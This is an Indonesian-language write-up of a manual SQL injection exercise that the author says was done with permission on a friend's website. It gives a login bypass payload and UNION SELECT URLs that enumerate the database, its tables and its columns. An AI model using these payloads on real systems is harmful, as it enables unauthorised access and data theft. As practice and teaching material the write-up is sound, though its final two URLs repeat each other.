Assalamualaikum wr,wb. Pada kesempatan kali ini saya akan mencoba melakukan SQL Injection pada website teman saya mas Nikko Enggaliano terima kasih telah memberikan saya kesempatan untuk mempraktekan SQLI pada websitenya,
Ketika saya mengakses website nya, saya disuguhkan login page seperti berikut :
pertama kali yang saya lakukan adalah mengecek apakah form tersebut vuln terhadap sql injection, dengan cara saya mengisi form username dengan petik(‘) dan hasilnya website malah menunjukan error 500
selanjutnya saya coba isi form username dengan mengisi 1– #, dan saya mendapatkan error seperti ini
yang menurut saya, sepertinya ini termasuk vuln terhadap sql injection XD, selanjutnya saya berasumsi bahwa query dari sql untuk login tersebut adalah seperti ini :
SELECT * FROM users WHERE username='$username' AND password='$password'
selanjutnya saya mencoba menginputkan di form username a’ OR 1=1 – yang dimana untuk mengontrol query, dimana query sql tersebut akan menjadi seperti ini :
SELECT * FROM users WHERE username='a' OR 1=1 -- ' AND password='$password'
dan akhirnya saya bisa masuk ke halaman index
setelah masuk ke halaman index saya melanjutkan explore ke halaman profile, setelah saya masuk ke halaman profile, saya melihat bentuk url nya seperti berikut
Setelah itu saya melakukan pengecekan lagi, apakah vuln terhadap sql injection dengan memberikan petik di akhir url, dan saya mendapat error seperti ini
Saya cek lagi dengan menambahkan –, dan hasilnya juga tetap error 500
Saya cek lagi dengan menambahkan – #, dan hasilnya website berjalan dengan baik
Setelah itu saya mencoba mengecek jumlah kolom dengan menggunakan order by
Yang pertama saya melakukan order by 100 –, dan hasilnya error
Selanjutnya saya melakukan order by 20 –, dan hasilnya juga error
Selanjutnya saya melakukan order by 10 –, dan hasilnya juga error
Selanjutnya saya melakukan order by 5 –, dan hasilnya website berjalan normal, disini saya mengetahui bahwa kolom nya berjumlah 5
Setelah itu saya melakukan perintah UNION SELECT untuk menampilkan kolomnya, dengan memodifikasi url nya seperti berikut
http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL%20--%20#
Selanjutnya saya melakukan perintah UNION SELECT untuk menampilkan nama database dan versi dari database, dengan memodifikasi url nya seperti berikut
http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,database(),version(),NULL,NULL%20--%20#
Selanjutnya saya melakukan dump daftar tabelnya, dengan memodifikasi url nya seperti berikut
http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,database(),version(),table_name,NULL%20%20FROM%20information_schema.tables%20--%20#
Selanjutnya saya melakukan dump isi tabel users, dengan memodifikasi url nya seperti berikut
http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,database(),version(),column_name,NULL%20%20FROM%20information_schema.columns%20WHERE%20table_name=%27users%27%20--%20#
Setelah saya dump isi tabelnya selanjtunya saya dump isi kolomnya, dengan memodifikasi url nya seperti berikut
http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,database(),version(),column_name,NULL%20%20FROM%20information_schema.columns%20WHERE%20table_name=%27users%27%20--%20#
Sekian tulisan saya terkait praktek sql injection manual, jika ada kekurangan saya mohon maaf dan terima kasih, Assalamualaikum wr,wb.